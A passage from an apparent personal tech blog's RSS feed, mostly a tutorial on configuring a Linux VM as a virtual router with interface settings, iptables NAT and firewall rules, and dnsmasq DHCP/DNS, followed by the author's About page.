&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allow-hotplug eth0:2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iface eth0:2 inet static
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address 10.0.1.30
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netmask 255.255.255.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;network 10.0.1.0 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gateway 10.0.1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;broadcast 10.0.1.255
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The sub-interfaces do not require additional NICs to be installed. You probably won’t need to include them in your setup if your infrastructure has only one public IP assigned by the ISP. Routing with sub-interfaces/multiple public IPs doesn’t make the setup much more complicated.&lt;/p&gt;
&lt;p&gt;Next, we will configure the LAN eth2 for communication with LAN interface on DC router, LAN port groups on ESXi hosts and any other devices connected to this network.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#The interface for internal DC LAN (eth2)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allow-hotplug eth2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iface eth2 inet static
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address 172.18.18.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netmask 255.255.255.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;network 172.18.18.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gateway 172.18.18.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;broadcast 172.18.18.255
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pretty straight forward. We need the LAN IP address on DC router as our gateway. Remember to change these values according to your network.&lt;/p&gt;
&lt;p&gt;Lastly, we are going to setup the eth1 interface. This is going to be our gateway address for the VM-LAN network so we are not adding the gateway address on this one.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#The interface for internal VM-LAN (eth1)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allow-hotplug eth1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iface eth1 inet static
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;address 172.18.100.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netmask 255.255.255.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;network 172.18.100.0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;broadcast 172.18.100.255
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can now save our changes by pressing CTRL+X and then selecting ‘y’ twice to confirm the edit &amp;amp; filename.&lt;/p&gt;
&lt;h3 id=&#34;31-iptalbes--routing&#34;&gt;3.1. IPtalbes – Routing&lt;/h3&gt;
&lt;p&gt;Now the real fun begins. We reached the part where we have to configure the routing with the OS. That includes enabling packet forwarding, firewall rules and some initial routing (basically, what goes where and what shouldn’t go anywhere).&lt;/p&gt;
&lt;p&gt;To do that, we are going to use &lt;a href=&#34;https://goo.gl/g3xMJr&#34;&gt;IPtables&lt;/a&gt;. I recommend doing that “the safe way”, by creating a file which is going to hold to all the rules, but it is possible to enter these commands directly into the system.&lt;/p&gt;
&lt;p&gt;So, let’s start up by enabling packet forwarding by simply running the command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo echo &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &amp;gt; /proc/sys/net/ipv4/ip_forward
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is going to enable the OS to “pass” packets to other hosts in the network according to the &lt;a href=&#34;https://en.wikipedia.org/wiki/IPv4#Packet_structure&#34;&gt;IPv4 header&lt;/a&gt;, creating a file which is going to hold all the IPtables rules. The file can be located anywhere in the system and the rules within it won’t affect the system until we run the &lt;code&gt;iptables-restore&lt;/code&gt; command.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo nano /etc/iptables.rules
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Paste the following into this file. The following rules are going to enable &lt;a href=&#34;https://en.wikipedia.org/wiki/Network_address_translation&#34;&gt;NATing&lt;/a&gt; the received packets over the network.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;*nat
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-A POSTROUTING -o eth0 -j MASQUERADE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;COMMIT
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;*nat&lt;/code&gt; marker indicates that the rule should be put into the NAT sub-table of IPtables.&lt;/p&gt;
&lt;p&gt;In the next part, we are going to use the IPtables for configuring the firewall (or &lt;code&gt;*filter&lt;/code&gt; sub-table).&lt;/p&gt;
&lt;h3 id=&#34;32-iptables--firewall&#34;&gt;3.2. IPtables – Firewall&lt;/h3&gt;
&lt;p&gt;Paste the following into the &lt;code&gt;iptables.rules&lt;/code&gt; file:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;*filter
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-A INPUT -i lo -j ACCEPT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-A INPUT -i eth1 -p tcp -m tcp –dport &lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt; -j ACCEPT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;-A INPUT -i eth0 -j DROP
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;COMMIT
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Explanation:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-A INPUT -i lo -j ACCEPT&lt;/code&gt;
Accepts all incoming traffic on loopback interface.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-A INPUT -m state –state RELATED,ESTABLISHED -j ACCEPT&lt;/code&gt;&lt;br&gt;
Accepts only “known” incoming traffic on the WAN interface. This prevents hosts from the internet from initiating a connection to any of our hosts.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-A INPUT -i eth1 -p tcp -m tcp –dport 22 -j ACCEPT&lt;/code&gt;
Opens up port 22 for incoming SSH connections from within VM-LAN (eth1).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-A INPUT -i eth0 -j DROP&lt;/code&gt;
Drops all other incoming traffic on WAN interface.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;COMMIT&lt;/code&gt;&lt;br&gt;
Writes changes to the system.&lt;/p&gt;
&lt;p&gt;As the rules are being processed by Linux from top to bottom, we need to firstly “open up” what we need and them “close” all the others. Rules “lower” on the list do not overwrite the ones on “higher” positions.&lt;/p&gt;
&lt;p&gt;Save the file with CTRL+X as before and enable the rules by typing in a command:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo iptables-restore &amp;lt; /etc/iptables.rules&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Lastly, we need to make sure the command above is going to be automatically run on each startup. There are many ways to do that – one of them is adding&lt;br&gt;
&lt;code&gt;pre-up iptables-restore &amp;lt; /etc/iptables.rules&lt;/code&gt; into &lt;code&gt;/etc/network/interfaces&lt;/code&gt; config file, just before &lt;code&gt;#The main external WAN interface (eth0)&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;4-dhcp--dns-optional&#34;&gt;4. DHCP &amp;amp; DNS (optional)&lt;/h3&gt;
&lt;p&gt;We can setup both DHCP and DNS by installing DNSmasq. To do so, run a command:&lt;br&gt;
&lt;code&gt;sudo apt-get install dnsmasq&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Finish up DNSmasq configuration by editing &lt;code&gt;/etc/dnsmasq.conf&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo nano /etc/dnsmasq.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Paste the following for quick setup (replace IP values &amp;amp; domain with what’s relevant to your network):&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;interface&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;eth1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;listen-address&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;127.0.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;domain&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;lan.paulwilk.net
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;dhcp-range&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;172.18.100.50,172.18.100.100,12h
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will setup DNS &amp;amp; DHCP server on interface eth1. DNS is going to read the records from &lt;code&gt;/etc/hosts&lt;/code&gt; file, while DHCP will hand out addresses from 172.18.100.50-100 range with a domain “lan.paulwilk.net” (12h lease).&lt;/p&gt;
&lt;h2 id=&#34;iii-alternative-setup-for-quick-rollout&#34;&gt;III. Alternative setup for quick rollout&lt;/h2&gt;
&lt;h3 id=&#34;1-script&#34;&gt;1. Script&lt;/h3&gt;
&lt;p&gt;If you can’t be bothered with doing everything from the described above yourself, worry not! There is a workaround. However…&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/180301-linux-virtual-router/shame-on-you-300x209.jpeg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;Ok, maybe you’re in rush. I get it.&lt;/p&gt;
&lt;p&gt;If you really don’t want to do it all yourself, you might want to take a look at my github repo. &lt;a href=&#34;https://github.com/vlku-admin/linux/tree/master/vRouter&#34;&gt;This&lt;/a&gt; script needs to be run on a Linux VM with two NICs connected (eth0 – WAN, eth1 – LAN).&lt;/p&gt;
&lt;h3 id=&#34;2-freesco&#34;&gt;2. Freesco&lt;/h3&gt;
&lt;p&gt;Remember the Cisco virtual router I mentioned earlier? Well, some dedicated Linux admins decided to create something similar and share it for free – Freesco Virtual Router Appliance (&lt;a href=&#34;https://downloads.sourceforge.net/project/freesco/freesco/v0.4.5/freesco-045.tar.gz?r=http%3A%2F%2Ffreesco.sourceforge.net%2F&amp;amp;ts=1507487427&amp;amp;use_mirror=netix&#34;&gt;download&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;I think it’s not good enough for any serious use, but you can use it for test lab or internal (secured by other firewall) network. Keep in mind this appliance wasn’t updated in along time, so security is cr*p.&lt;/p&gt;
&lt;h2 id=&#34;iv-end-notes&#34;&gt;IV. End notes&lt;/h2&gt;
&lt;p&gt;I hope you found this tutorial useful. As it’s the first one posted on this blog, I’m sure there are some errors, mistakes and typos. If you find any, don’t hesitate to contact me using the comment section below.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>About</title>
      <link>/about/</link>
      <pubDate>Mon, 01 Jan 2018 00:00:00 +0000</pubDate>
      
      <guid>/about/</guid>
      <description>Hello and welcome Welcome to v3 of my personal blog about tech and other stuff. I like to write about problems I faced at work and how I solved them, general tech tutorials, reviews and opinions.
A little bit about me: I&amp;rsquo;m currently a member of VMwware&amp;rsquo;s Professional Services (PS/PSO) acting as a senior vRA consultant. Before that, I was a VMware consultant in an Irish partner company and a technical lead/architect in a fintech company dealing with payment processing.</description>
      <content>&lt;h1 id=&#34;hello-and-welcome&#34;&gt;Hello and welcome&lt;/h1&gt;
&lt;p&gt;Welcome to v3 of my personal blog about tech and other stuff. I like to write about problems I faced at work and how I solved them, general tech tutorials, reviews and opinions.&lt;/p&gt;
&lt;p&gt;A little bit about me: I&amp;rsquo;m currently a member of VMwware&amp;rsquo;s Professional Services (PS/PSO) acting as a senior vRA consultant. Before that, I was a VMware consultant in an Irish partner company and a technical lead/architect in a fintech company dealing with payment processing. I&amp;rsquo;ve been a VMware vExpert for many years, and a Red Hat Accelerator and Veeam Vanguard in the past. Also in the past, I was a leader for the local Irish VMware User Group (VMUG).&lt;/p&gt;
&lt;p&gt;For collaboration, reporting issues with the sites, or just general chat, please email me at &lt;a href=&#34;mailto:paul@ssh.guru&#34;&gt;paul@ssh.guru&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I hope you will find the stuff I post over here useful&lt;/p&gt;
&lt;p&gt;Cheers&lt;/p&gt;
&lt;p&gt;Paul&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title> </title>
      <link>/_template_post/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      
      <guid>/_template_post/</guid>
      <description>Section Sub-section </description>
      <content>&lt;h2 id=&#34;section&#34;&gt;Section&lt;/h2&gt;
&lt;h3 id=&#34;sub-section&#34;&gt;Sub-section&lt;/h3&gt;
&lt;p&gt;&lt;img src=&#34;/posts/post-folder/image.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
</content>
    </item>
    
  </channel>
</rss>
